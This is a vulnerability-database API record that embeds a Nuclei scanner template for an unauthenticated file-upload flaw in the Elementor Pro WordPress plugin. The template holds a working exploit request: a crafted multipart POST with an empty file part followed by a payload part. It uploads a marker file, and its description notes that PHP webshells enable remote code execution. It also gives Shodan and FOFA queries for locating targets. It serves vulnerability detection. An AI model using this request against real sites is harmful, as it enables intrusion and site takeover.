{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2026-32475/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2026-32475/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2026-32475/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2026-32475/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2026-32475/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2026-32475"},"sightings":{"href":"/api/v1/sightings/cve-2026-32475"}},"data":{"nuclei":true,"nuclei_template":"http/cves/2026/CVE-2026-32475.yaml","nuclei_template_severity":"critical","nuclei_template_yaml":"id: CVE-2026-32475\n\ninfo:\n  name: Elementor Pro <=4.2.1 - Unauthenticated Arbitrary File Upload via Form Handler\n  author: pdteam\n  severity: critical\n  description: |\n    Elementor Pro plugin for WordPress in versions <=4.2.1 is vulnerable to unauthenticated arbitrary file upload in the Forms module File Upload field. The validation() and process_field() methods iterate over submitted file entries with different early-exit logic for UPLOAD_ERR_NO_FILE entries. When an attacker submits two file parts for the same upload field — an empty first entry (blank filename triggering UPLOAD_ERR_NO_FILE) followed by a payload — validation() returns early after the empty entry without ever type-checking the payload, while process_field() only skips (continue) the empty entry and moves the payload to wp-content/uploads/elementor/forms/. The AJAX action elementor_pro_forms_send_form requires no authentication or nonce.\n  impact: |\n    Unauthenticated remote code execution is achievable by uploading a PHP file to a web-accessible public directory (wp-content/uploads/elementor/forms/). Any file type can bypass the extension blocklist, including PHP webshells.\n  remediation: |\n    Update Elementor Pro to version 4.2.2 or later. The fix aligns the validation() and process_field() loops to consistently handle empty file entries.\n  reference:\n    - https://patchstack.com/articles/critical-unauthenticated-file-upload-to-rce-in-elementor-pro-plugin/\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-32475\n    - https://github.com/absholi7ly/Elementor-Pro-Unauthenticated-Arbitrary-File-Upload-to-RCE\n    - https://www.bleepingcomputer.com/news/security/critical-elementor-pro-bug-exposes-wordpress-sites-to-rce-attacks/\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.0\n    cve-id: CVE-2026-32475\n    cwe-id: CWE-434\n    epss-score: 0.02374\n    epss-percentile: 0.83127\n  metadata:\n    verified: true\n    max-request: 3\n    vendor: elementor\n    product: elementor-pro\n    framework: wordpress\n    fofa-query: body=\"/plugins/elementor-pro/\"\n    shodan-query: html:\"/plugins/elementor-pro/\"\n    publicwww-query: \"/wp-content/plugins/elementor-pro/\"\n  tags: cve,cve2026,elementor,elementor-pro,wordpress,wp-plugin,file-upload,unauth,rce,intrusive,vkev,vuln\n\nvariables:\n  marker: \"{{rand_text_alpha(12)}}\"\n  fname: \"{{rand_text_alpha(8)}}.txt\"\n\nflow: http(1) && http(2) && http(3)\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}/wp-content/plugins/elementor-pro/readme.txt\"\n\n    matchers:\n      - type: word\n        words:\n          - \"Elementor Pro\"\n        internal: true\n\n  - method: GET\n    path:\n      - \"{{BaseURL}}\"\n\n    extractors:\n      - type: regex\n        name: post_id\n        group: 1\n        regex:\n          - 'name=\"post_id\"\\s+value=\"(\\d+)\"'\n          - '\"post_id\"\\s*:\\s*\"?(\\d+)\"?'\n        internal: true\n\n      - type: regex\n        name: form_id\n        group: 1\n        regex:\n          - 'name=\"form_id\"\\s+value=\"([a-f0-9A-F]{4,16})\"'\n          - '\"form_id\"\\s*:\\s*\"([a-f0-9A-F]{4,16})\"'\n        internal: true\n\n      - type: regex\n        name: field_id\n        group: 1\n        regex:\n          - 'name=\"form_fields\\[([^\\]]+)\\]\"\\s[^>]*type=\"file\"'\n          - 'type=\"file\"\\s[^>]*name=\"form_fields\\[([^\\]]+)\\]\"'\n        internal: true\n\n      - type: regex\n        name: text_field\n        group: 1\n        regex:\n          - 'name=\"form_fields\\[([^\\]]+)\\]\"\\s[^>]*type=\"text\"'\n          - 'type=\"text\"\\s[^>]*name=\"form_fields\\[([^\\]]+)\\]\"'\n        internal: true\n\n      - type: regex\n        name: email_field\n        group: 1\n        regex:\n          - 'name=\"form_fields\\[([^\\]]+)\\]\"\\s[^>]*type=\"email\"'\n          - 'type=\"email\"\\s[^>]*name=\"form_fields\\[([^\\]]+)\\]\"'\n        internal: true\n\n    matchers:\n      - type: word\n        words:\n          - \"elementor-form\"\n          - 'type=\"file\"'\n        condition: and\n        internal: true\n\n  - raw:\n      - |\n        POST /wp-admin/admin-ajax.php HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: multipart/form-data; boundary=WebKitFormBoundarySBDsMGAl\n        X-Requested-With: XMLHttpRequest\n        Accept: application/json, text/javascript, */*; q=0.01\n        Connection: close\n\n        --WebKitFormBoundarySBDsMGAl\n        Content-Disposition: form-data; name=\"action\"\n\n        elementor_pro_forms_send_form\n        --WebKitFormBoundarySBDsMGAl\n        Content-Disposition: form-data; name=\"post_id\"\n\n        {{post_id}}\n        --WebKitFormBoundarySBDsMGAl\n        Content-Disposition: form-data; name=\"form_id\"\n\n        {{form_id}}\n        --WebKitFormBoundarySBDsMGAl\n        Content-Disposition: form-data; name=\"queried_id\"\n\n        {{post_id}}\n        --WebKitFormBoundarySBDsMGAl\n        Content-Disposition: form-data; name=\"referrer\"\n\n        {{BaseURL}}\n        --WebKitFormBoundarySBDsMGAl\n        Content-Disposition: form-data; name=\"form_fields[{{text_field}}]\"\n\n        Test User\n        --WebKitFormBoundarySBDsMGAl\n        Content-Disposition: form-data; name=\"form_fields[{{email_field}}]\"\n\n        test@example.com\n        --WebKitFormBoundarySBDsMGAl\n        Content-Disposition: form-data; name=\"form_fields[{{field_id}}][0]\"; filename=\"\"\n        Content-Type: application/octet-stream\n\n        --WebKitFormBoundarySBDsMGAl\n        Content-Disposition: form-data; name=\"form_fields[{{field_id}}][1]\"; filename=\"{{fname}}\"\n        Content-Type: text/plain\n\n        CVE-2026-32475-PoC-{{marker}}\n        --WebKitFormBoundarySBDsMGAl--\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - '\"success\":true'\n\n      - type: status\n        status:\n          - 200\n\n      - type: word\n        part: body\n        words:\n          - \"not_allowed\"\n          - \"are not allowed to access this page\"\n          - \"permission_denied\"\n          - \"invalid_nonce\"\n          - \"rest_forbidden\"\n        negative: true\n\n    extractors:\n      - type: regex\n        part: body\n        name: upload_confirmed\n        regex:\n          - '\"success\"\\s*:\\s*true'\n# digest: 490a00463044022037e9970b0420626d409e0c015f0c978aac48fec67e8399ede9b820552e63039e02207ea24fbe1e267c3d553c3383c95b6417e85ba7ca3b507b6c961118b433af3356:922c64590222798bb761d5b6d8e72950"},"source":"nuclei","vuln_id":"cve-2026-32475"}